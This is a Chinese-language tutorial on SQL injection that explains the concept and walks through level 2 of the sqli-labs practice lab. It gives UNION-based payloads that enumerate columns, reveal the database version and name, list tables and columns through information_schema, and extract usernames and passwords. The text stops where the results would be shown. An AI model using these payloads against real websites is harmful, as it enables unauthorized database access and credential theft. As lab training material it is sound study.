一、SQL注入简介
SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,实现欺骗数据库服务器执行非授权的任意查询,得到相应的数据信息。
二、SQL注入原理
SQL注入攻击是修改SQL语句,达到执行代码对数据库进行攻击的方法。就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,使web服务器执行恶意命令的过程。
三、环境准备
1、安装小皮phpstudy_pro
2、安装sqli-labs-master
3、运行小皮的MySQL数据库服务(MySQL5.0以上版本,该版本含有information_schema数据库,库中有三个重要的表:1)schemata存储数据库信息; 2)tables存储表信息; 3)columns存储字段信息)
准备完成后,打开sqli-labs-master页面第2关(第1关与第2关类似,第1关为注入类型为字符型,第2关为整型):
三、SQL注入过程
1、判断注入类型。修改URL参数,在后面添加?id=1,查看回显正常,说明为整型。 2、判断注入点。任意输入id,确认是否存在注入点(返回错误存在,无返回值则不存在)
3、确认存在注入点,猜解列名数量: index.php?id=1 order by 1(填4报错,说明只有3列)
index.php?id=1 order by 1
4、 使用数据库联合查询命令(union),查看回显点:index.php?id=1 union select 1,2,3(如下:2,3字段有返回信息)
index.php?id=1 union select 1,2,3
5、利用回显点进行信息收集。使用数据库联合查询命令(union),查看数据库版本及数据库名:
index.php?id=-1 union select 1,version(),database()
6、使用对应SQL注入命令
(1)根据数据库名,获取表名:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'(库名)
(2)依据表名,查看字段信息
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'(表名)
(3)根据字段信息,获取账号密码
union select 1,group_concat(username),group_concat(password) from users
(4)真实数据库表字段内容如下: